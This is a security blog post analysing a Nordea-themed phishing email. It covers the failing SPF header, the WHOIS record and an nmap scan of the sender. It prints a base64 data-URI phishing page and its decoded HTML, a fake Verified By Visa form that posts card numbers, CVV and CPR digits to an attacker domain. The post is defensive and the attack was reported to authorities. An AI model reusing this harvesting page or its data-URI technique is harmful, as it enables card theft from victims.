← Back to Blog

Analysis of a phishing email

Niel Nielsen

Udgivet 28. jul. 2020

Some years ago, I received a phishing email, seemingly coming from Nordea. I wanted to publish the finding, but since the attack was very new. I informed at first Nordea fraud team, as well as the Danish Cyber Crime Police Unit (NC3).

First thing, which caught my attention, the email seemed to be from Service@nordea.dk – I was not a customer at Nordea. That was the first sign of a phishing attack.

Looking into the mail, showed further interesting things.

First, the attack was very recent, campaign was started same month as I received the mail, secondly, a domain found analyzing the content of the mail, was equally registered that month (September 3rd, 2015).

The content of the email was like this

phishing-email-content

The email header revealed that the sender IP (178.239.182.136) is not a designated IP for domain nordea.dk (DMARC SPF fails)

Authentication-Results: mx.google.com; spf=fail (google.com: domain of Service@nordea.dk does not designate 178.239.182.136 as permitted sender) smtp.mailfrom=Service@nordea.dk; dmarc=fail (p=NONE dis=NONE)

Next thing was to look at the link in the email.

The response from the server when clicking the link, contains a base64 encoded message

data:text/html;base64,DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi1nYiIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdpbmRvd3MtMTI1MiIgLz4NCjx0aXRsZT5WZXJpZmllZCBCeSBWaXNhPC90aXRsZT4NCg0KDQoNCg0KPHRhYmxlIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7IGxldHRlci1zcGFjaW5nOiBub3JtYWw7IG9ycGhhbnM6IDI7IHRleHQtaW5kZW50OiAwcHg7IHRleHQtdHJhbnNmb3JtOiBub25lOyB3aWRvd3M6IDI7IHdvcmQtc3BhY2luZzogMHB4OyAtd2Via2l0LXRleHQtc2l6ZS1hZGp1c3Q6IGF1dG87IC13ZWJraXQtdGV4dC1zdHJva2Utd2lkdGg6IDBweCIgaGVpZ2h0PSIxMjYiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iMzYwIj4NCgkNCjx0Ym9keT4NCjx0cj4NCgkJDQo8dGQgc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsgZm9udC1zaXplOiAxMXB4IiBhbGlnbj0ibGVmdCIgaGVpZ2h0PSIxMjQiIHZhbGlnbj0idG9wIiNCgkJCQkJCTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJPC90Ym9keT48L3RhYmxlPg0KCQkJCTwvdGQ+DQoJCQk8L3RyPg0KCQk8L3Rib2R5PjwvdGFibGU+DQoJCTwvdGQ+DQoJPC90cj4NCjwvdGJvZHk+PC90YWJsZT4=

Decoding the base64, returns actual html code (snippet)

<meta data-fr-http-equiv="Content-Language" content="en-gb" /> <meta data-fr-http-equiv="Content-Type" content="text/html; charset=windows-1252" /> <title>Verified By Visa</title> <td colspan="2" style="font-family: Arial; font-size: 11px" height="275" valign="top"> <form name="passwdForm" method="post" action="http://mozaboa.com/doninfo/1.php"> <font class="tituloPagina" style="font-family: Arial; font-size: 16px; font-weight: bold; color: rgb(0, 51, 127)"> Beskyt dit Visa kort ved internethandel <table border="0" cellpadding="0" cellspacing="0" width="100%"> </tbody></table>

The produced page look like this:

phishing-email-page

As it shows in the code, if the user enters his card information, it is sent through a POST request to the domain mozaboa.com. As mentioned in my introduction, the domain is registered the same month as I received the phishing email.

It is also very noticeable that the code itself, returned in the base64 response, executes on the victim’s machine, not on the attacker’s server, which makes it even more difficult to trace who is the actual attacker from NETS EU, or the issuer, as requests on the card would for NETS seem to originate from the victims IP address.

Domain Name: MOZABOA.COM
Registrar: GODADDY.COM, LLC
Sponsoring Registrar IANA ID: 146
Whois Server: whois.godaddy.com
Referral URL: http://registrar.godaddy.com
Name Server: NS75.DOMAINCONTROL.COM
Name Server: NS76.DOMAINCONTROL.COM
Status: clientDeleteProhibited http://www.icann.org/epp#clientDeleteProhibited
Status: clientRenewProhibited http://www.icann.org/epp#clientRenewProhibited
Status: clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited
Status: clientUpdateProhibited http://www.icann.org/epp#clientUpdateProhibited
Updated Date: 03-sep-2015
Creation Date: 03-sep-2015

Further, it is noticeable, that the code actually verifies the card on PBS’s (NETS EU) servers as well as verifying expiry date, security code and the card issuer from NETS. Thus, I assume that blocked cards is not kept, but only valid and good cards would be stored on the attacker’s database.

<meta http-equiv="Content-Language" content="en-gb" /> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252" /> <title>Verified By Visa</title> <td class="td2" style="font-family: arial; font-size: 11px; color: rgb(0, 0, 0); background-color: rgb(255, 255, 255)" align="LEFT"> <!--webbot bot="Validation" s-data-type="Number" s-number-separators=",." i-maximum-length="2" --><input class="formulario" name="d1" size="2" autocomplete="off" tabindex="1" style="font-family: arial; font-size: 11px; color: rgb(0, 0, 0); text-indent: 5px; border: 1px solid rgb(0, 51, 102); background-color: rgb(255, 255, 255)" maxlength="2" type="text" /> /<span class="Apple-converted-space"> </span><!--webbot bot="Validation" s-data-type="Number" s-number-separators=",." i-maximum-length="2" --><input class="formulario" name="d2" size="2" autocomplete="off" tabindex="2" style="font-family: arial; font-size: 11px; color: rgb(0, 0, 0); text-indent: 5px; border: 1px solid rgb(0, 51, 102); background-color: rgb(255, 255, 255)" maxlength="2" type="text" /> <a id="help3" tabindex="6" onclick ="disableExitMessage();" style="font-family: arial; font-size: 11px; color: rgb(0, 51, 127); text-decoration: underline" href="https://www.authenticationserver.pbs.dk/acsvisa/servlet/ACSChecker;jsessionid=756F7E932986A15320595FEEB31F5858.worker1?selectButton=H#expiry">?</a> (MD/åR)</td> </tr> <tr> <td class="td2" style="font-family: arial; font-size: 11px; color: rgb(0, 0, 0); background-color: rgb(255, 255, 255)" align="RIGHT" width="20%"> Kontrolcifre</td> <td class="td2" style="font-family: arial; font-size: 11px; color: rgb(0, 0, 0); background-color: rgb(255, 255, 255)" align="LEFT"> <!--webbot bot="Validation" s-data-type="Number" s-number-separators=",." i-maximum-length="3" --><input class="formulario" name="cvv" size="2" autocomplete="off" tabindex="3" style="font-family: arial; font-size: 11px; color: rgb(0, 0, 0); text-indent: 5px; border: 1px solid rgb(0, 51, 102); background-color: rgb(255, 255, 255)" maxlength="3" type="text" /> <span class="Apple-converted-space"> </span><a id="help4" tabindex="7" onclick ="disableExitMessage();" style="font-family: arial; font-size: 11px; color: rgb(0, 51, 127); text-decoration: underline" href="https://www.authenticationserver.pbs.dk/acsvisa/servlet/ACSChecker;jsessionid=756F7E932986A15320595FEEB31F5858.worker1?selectButton=H#secnumber">?</a> (De sidste 3 cifre på bagsiden af kortet)</td> </tr> <tr> <td class="td2" style="font-family: arial; font-size: 11px; color: rgb(0, 0, 0); background-color: rgb(255, 255, 255)" align="RIGHT" width="20%"> De 4 sidste cifre i dit<br /> cpr-nr.</td> <td class="td2" style="font-family: arial; font-size: 11px; color: rgb(0, 0, 0); background-color: rgb(255, 255, 255)" align="LEFT"> <input class="formulario" name="compte" size="5" maxlength="10" autocomplete="off" tabindex="4" style="font-family: arial; font-size: 11px; color: rgb(0, 0, 0); text-indent: 5px; border: 1px solid rgb(0, 51, 102); background-color: rgb(255, 255, 255)" type="text" /> <a id="help5" tabindex="8" onclick ="disableExitMessage();" style="font-family: arial; font-size: 11px; color: rgb(0, 51, 127); text-decoration: underline" href="https://www.authenticationserver.pbs.dk/acsvisa/servlet/ACSChecker;jsessionid=756F7E932986A15320595FEEB31F5858.worker1?selectButton=H#issuerInfo">?</a></td> </tr> <tr>

Next of course, in a situation for further investigation, is to analyze the server hosted on the IP, for open ports, using my favorite tool, nmap, which reveals that ports 25 (SMTP), 80 (HTTP, standard IIS 8) and port 3389 (RDP) are open.

The RDP connection used a self-signed certificate, issued September 27th, only a few days before I received the email.

PORT STATE SERVICE
3389/tcp open ms-wbt-server
| ssl-cert: Subject: commonName=flamingo
| Issuer: commonName=flamingo
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2015-09-27T01:19:32
| Not valid after: 2016-03-28T01:19:32
| MD5: 32bc f68d 02b9 7572 ae9e 12c3 5f09 ed92
|_SHA-1: 7089 aeef 4409 5cca b3f9 b861 102e 4625 7045 38b2

That means, there would be a whole lot of attack vectors for attacking back the attacker, since the domain used for the phishing attack obviously has a weak RDP connection for remote administration, which, I surely did not attempt. Instead, I contacted the proper involved authorities ;).